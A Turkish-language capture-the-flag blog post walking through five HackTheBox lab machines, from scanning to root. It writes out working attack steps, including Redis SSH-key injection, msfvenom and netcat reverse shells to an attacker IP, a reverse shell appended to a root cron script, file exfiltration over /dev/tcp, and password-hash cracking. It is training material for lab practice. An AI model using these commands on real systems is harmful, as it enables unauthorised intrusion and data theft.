HackTheBox Günlükleri 3 | 5 Unix Machines Walkthrough TR
Bol kafein ile beraber çözebildiğimiz kadar makine çözmeye devam :)
Makinelerimiz;
- Postman — Easy
- Sense — Easy
- SolidState — Medium
- Lightweight — Medium
- Poison — Medium
1. Postman — HTB — Easy
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV 10.10.10.160
80 açık web sitesine bi bakalım;
Birde Source code ve Burp ile tree yapısına baktık. Ama bişey bulamadık. Rabbit Hole olabilir !
Birde full port tarama atalım;
nmap -p- 10.10.10.160
Tarama devam ederken birde diğer terminal’de gobuster ile path taraması yapalım;
gobuster dir -u http://10.10.10.160 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
İlk Nmap çıktısına bakalım o sırada;
22, 80 , 10000 gözüküyor. 10000 biraz ilginç bunu cebe atalım. Ama birşey dikkatimizi çekti; “Webmin httpd” o nedenle firefox’da bu port’a gidelim;
Ancak bize bi uyarı verdi;
Şimdi dns’i yapılandırıp bu virtual domain’e yönlenelim;
Bunun için;
nano /etc/hosts
Içine;
10.10.10.160 Postman
Şimdi url’e gidelim;
https://Postman:10000/
Biraz webmin’i araştıralım. Ama çok kaynak var kaybolduk :(
Nmap’in full taraması bitti bakalım;
Oo redis bulmuşuz! Biraz redis enum üzerine google’layalım.Bu arada gobuster’da çıktı verdi ama hiç anlamlı bi çıktı yok. Nereye girsek ya boş yada resim var. Redis’e bakarken;
Biraz komutları öğrenip 100 küsür makaleye baktıktan sonra;
Çok başarılı bi blog bulduk! (Yukarıda) Hadi bakalım ilk adımdan enum edelim (Ama msf yok unutmayalım :) ;
nmap — script redis-info -sV -p 6379 <IP>
Versiyonu verdi;
4.15.0–58-generic (released)
Diğer adımda redis’e bağlanma komutu var ! Süper! Deneyelim;
redis-cli -h 10.10.10.160
Burda adım adım izledik keys’e baktık ama çıktı alamadık. O halde hadi sırada ki Redis RCE — Webshell’e bakalım;
Adım adım uygulayalım. Wow cidden işe yaradı ve Şimdi adım adım SSH-Keygen etmeyi deneyelim;
Önce ssh key yaratalım;
ssh-keygen -h ah-be-postman
Ardından adımları devam edelim;
Ancak key’i yaratıp set etmede sorun yaşadık ondan 2. adımı ;
config set dir /var/lib/redis/.ssh
Ile denedik ve 4 ve 6. adımıda yapınca OK aldık! Şimdi oluşturduğumuz bu ssh key’i ssh yapmayı deneyelim;
ssh -i ah-be-postman redis@10.10.10.160
Şifre sordu :( talimatlara devam edip yinede sona adımları tekrarlayalım diğer terminalde;
redis-cli -h 10.10.10.160
config set dir /var/lib/redis/.shh/
config set dbfilename “authorized_keys”
save
Şimdi pass isteyen shell’i kapatıp tekrar deneyelim;
ssh -i ah-be-postman redis@10.10.10.160
Sonunda geldi!
İlk olarak user’ları karıştıralım;
cd /home
Matt diye bir kullanıcı var ama elle tutulur iznimizin olduğu birşey yok. LinEnum atalım;
Bunun için LinEnum bulunan dizinimizde bir Python Server açalım;
python -m SimpleHTTPServer 80
Şimdi erişim kurduğumuz shell’de curl ve wget’e bakalım. Wget varmış o halde çekip çalıştıralım;
wget 10.10.14.19/LinEnum.sh
bash LinEnum.sh
Burda Matt’in .bak dosyası dikkatimizi çekti;
Incelemek için;
cd /opt
ls -la id_rsa.bak
cat id_rsa.bak
Şimdi bu key’i kırmaya çalışalım. Key’i cat’leyip kopyaladıktan postman_sifre.ssh olusturalim sonra makinemizde John ile kıralım.
python sh2sshng.py postman_sifre.ssh > postman.john.ssh — wordlist=/opt/wordlist/rockyou.txt
Ah John! Ve kırdık : computer2008
Redis shell’de;
su - Matt
Ile şifreyi girip bağlandık!
Şimdi cebimizdeki tüm olasıkları kullandıktan sonra Webmin’e de Matt ve şifresiyle girmeye çalışalım. ve girdik!
Hazır içerdeyken kullanabileceğimiz zafiyetlere bakalım;
searchsploit webmin
Adım adım ilerleyelim;
Msfvenom ile zararlımızı oluşturalım;
msfvenom -p cmd/unix/reverse_perl LHOST=10.10.14.19 LPORT=8080 -f raw > kotushell.pl
Aldığımız çıktıyı base64 ile encode edelim;
Ardından dinleyicimizi açalım;
nc -lvnp 8080
Peşine isteğimizi /package-updates/update.cgi doğru “u “ parametresine yollayalım.
Ve tamamdır!
Kabul edin berbat bi makineydi :(
2. Sense — HTB — Easy
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV 10.10.10.60
80 ve 433 açıkmış. 443'de bir login ekranı var;
Burp ile araya girip birde kontrol ettik. Ama bir faydalı çıktı bulamadık.
Dizin taraması atalım;
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -k -x txt
Bingo!
Burda şifreye makine ismini yazdık ama bir çıktı alamadık. Ondan PfSense’in default şifre’sine bakalım;
- Username: admin
- Password: pfsense
Rohit ve pfsense deneyip girdik! Şimdi versiyonu bulup zafiyet kontrolü yapalım;
searchsploit pfsense
Bi elle tutulur command execution var diğerlerinin çoğu xss vb. zafiyetler. Bu zafiyeti inceleyelim;
Script’i indirip port, ip , user ve pass’ı hazırlayalım.
Peşine dinleyici açalım;
nc -lvnp 8001
Şimdi diğer terminalde exploit’i çalıştıralım;
python3 exploit.py — rhost 10.10.10.60 — lhost <IP’niz> — lport 8001 — username rohit — password pfsense
Ve Root olduk !
3. SolidState — HTB — Medium
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV 10.10.10.51
22,25,80,110,119 açık. 80 Portuna bakalım;
Şimdi full port taraması yapalım;
nmap -p- -T5 10.10.10.51
Eksta 4555' çıktı buna odaklanalım. Ve netcat atıp porta bakalım;
nc 10.10.10.51 4555
Burda sırayla default şifre kombinasyonlarını deneyelim; admin — admin ve root — root. Ve root kombinasyonu tuttu! Bu shell’i bilmediğimizden bi help’yelim ve kurcalayalım;
HELP
listusers
Root olarak giriş yaptığımızdan burda pop3 açık olduğundan “mailadmin” kullanıcısının şifresini resetleyelim;
setpassword mailadmin password
Ve şifreyi koyalım.
Kali’de Thunderbird mail uygulamsıyla bu mail’in ayarlamasını yapalım;
Ama mail boş :( Mind için aynı işlemleri deneyelim. Ve gelen kutusuna bakınca yakaladık :)
Bu bilgilerle SSH yapalım;
ssh mindy@10.10.10.51
Klasörlere ve yazma izinlerine bakalım. Ama bi çıktı bulamadık :(
Mindy Shell’i cepte kalsın şimdilik ve James Pop3d için kurcalayalım;
searchsploit james
RCE’e odaklanalım;
IP ve Port’u editleyelim ve dinleyici açalım;
nc -lvnp 8080
Ve shell düştü :) James’in shell’ini ele geçirdik.
Ayrıca LinEnum atalım;
Bunun için LinEnum bulunan dizinimizde bir Python Server açalım;
python -m SimpleHTTPServer 80
Şimdi erişim kurduğumuz shell’de curl ve wget’e bakalım. Wget varmış o halde çekip çalıştıralım;
wget 10.10.14.19/LinEnum.sh
bash LinEnum.sh
Burda dikkatimizi /opt/tmp.py çekti root yetkisinde ve yazılabilir olduğundan ve cronjob’da olduğundan;
Şimdi içine reverse shell atalım;
echo “os.system(‘/bin/nc -e /bin/bash 10.10.14.19 8002’)” >> /opt/tmp.py
Ve dinleyici açalım;
nc -lvnp 8002
Ve shell’i kaptık Root’uz!
4. Lightweight — HTB — Medium
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV 10.10.10.119
22, 80, 389 Portları açık. 389’a bakınca Virtual Domain yapısı var. DNS’e ekleme yapalım;
nano etc/hosts
Ve ekleyelim;
10.10.10.119 lightweight.htb lightweight
Web’den şimdi lightweight.htb’e gidip bakalım. Webanalyzer’da bunun bu php sayfa olduğunu gördük.
Birde /user.php’de IP’miz ile SSH login olabileceğimiz yazıyor;
Gezdik sayfada ama bir detay bulamadık. Ama arka planda bi path’leride tarayamıyoruz çünkü belirtildiği gibi bruteforce’da engelleyen bir yapı var. Rabbit Hole olabilir 80 portu!
Diğer portlara bakalım; LDAP var. LDAP’ı enum edelim;
ldapsearch -x -h 10.10.10.119
Base default’muş. O nedenle base belirtip ilerleyelim;
ldapsearch -x -h 10.10.10.119 -s base naming contexts
Burda ;
dc=lightweight,dc=htb
Çıktısına rastladık. O nedenle;
ldapsearch -x -h 10.10.10.119 -b ‘dc=lightweight,dc=htb’
LDAP kullanıcılarını ve Hash’leri kopyalayalım. Ve base64 ile decode edince bize LM Hash verdi!
Ardından hash’lerin türüne bakınca 1800 olduğun gördük;
Şimdi hash’leri kıralım;
./hashcat -m 1800 hashler.shadow /opt/wordlist/rockyou.txt
O sırada /user.php’de gördüğümüz gibi IP:IP kombinasyonumuzla ssh yapalım;
ssh 10.10.14.4@10.10.10.119
Şimdi shell’i de aldığımızdan LinEnum atalım hemen geçen ki gibi dolaşmakla aynı zaman kaybına uğramayalım;
Bunun için LinEnum bulunan dizinimizde bir Python Server açalım;
python -m SimpleHTTPServer 80
Şimdi erişim kurduğumuz shell’de curl ve wget’e bakalım. Wget varmış o halde çekip çalıştıralım;
wget 10.10.14.4/LinEnum.sh
bash LinEnum.sh
Burda çıktılardan
Dikkatimizi çekti ondan IP User Shell’imiz ile;
tcpdump -i any -X port ldap
Atalım ve dinlerken sonunda ;
ldapuser2 ve bi rakam kompinasyonu yakaladık!
Hemen su -ldapuser2 yapıp bu şifreyi girdik ve bingo!
ls -la atalım;
Burda ki backup.7z’i en sevdiğim yöntemlerden biri olan base64'e çevirip kendimize çekelim. Bunun için ilk makinemizde dinleyici açalım;
nc -lvnp 8001
cat backup.7z > /dev/tcp/10.10.14.4/8001
Açalım;
7z x backup.7z
Dosyayı açmaya çalışınca şifre istiyor :( John ile 7z kırmayı biraz araştırdık; 7z2john.py/ ile kırabiliyoruz.
/usr/share/john/7z2john.pl backup.7z
Şimdi çıktıyı alıp 7zkir.7z olarak kaydedip hashcat’e atalım. Ama önce hash tipini bulalım yine;
./hashcat -m 11600 7zkir.7z /opt/wordlist/rockyou.txt
Bulduk!
Şimdi backup.7z’i şifresiyle açalım;
7z x backup.7z
Kaynak kodları çıkardı sitenin. Makine baya uzunmuş :(
Tek tek bakınca nihayet status.php’de ldapuser1'in şifresi var!!!
Hemen ldapuser1'e geçelim;
su ldapuser1
Dizine bakalım;
ls -la
İşte bu ! Openssl root yetkili ve yürütülebilir!
Hemen GTFObins’e bakıp bu process’in reverse shell alma taktiğine bakalım;
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
Dinleyicimizi açıp çalıştırınca;
root’uz !
5. Poison — HTB — Medium
Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;
nmap -sC -sV 10.10.10.84
22 ve 80 açık gözüküyor. 80’e gittiğimizde bizden script giriniz gibi bir kutucuk çıkıyor. Tek tek test edelim sayfaları path olarak.
Bunlar arasından listfiles.php’ye gidince bizi ek path’leri gösterdi!
pwdbackup.txt’e gidince bize hash verdi. Hemen not alalım. Ama dikkat ettim ki bu hash’in üstünde 13 kez şifrelenmiş yazıyor. Hash identifier’a atıp bakınca base64 hash’i olduğunu söylüyor. bizde 13 kez base64 ile decode edelim;
Bizde /etc/passwd yazıp gitmeye çalışalım;
cat pwdbackup.txt |base64 -d |… 12 tane daha..
Peşine şifreyi alalım.
Charix!2#4%6&8(0
Ve bu şifre ile ssh yapalım;
ssh charix@10.10.10.84
Shell’e ls attığımızda bize “secret.zip” ’i gördük.
scp charix@10.10.10.84:secret.zip .
unzip secret.zip
Şifre istedi ama elimizde şifre yok araştırmaya devam :( LinEnum attık ama çalıştırılmıyor. Elle gidelim;
ls -la
ps -auxw
Xvnc var o nedenle dinlemede ki portlara da bakalım;
netstat -an |grep LIST
SSH Tünelleme yapalım;
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
Şimdi vnc’ye bağlanalım;
vncviewer 127.0.0.1:5901
Şifre istiyor :( secret.zip’i de bulduğumuz Charix şifresiyle deneyince çıktı verdi ! “ secret” mış :((( Keşke klasik default metodu deneyip bi kontrol etseydik :(
vncviewer -passwd secret 127.0.0.1:5901
Ve bağlandık.
Root’uz!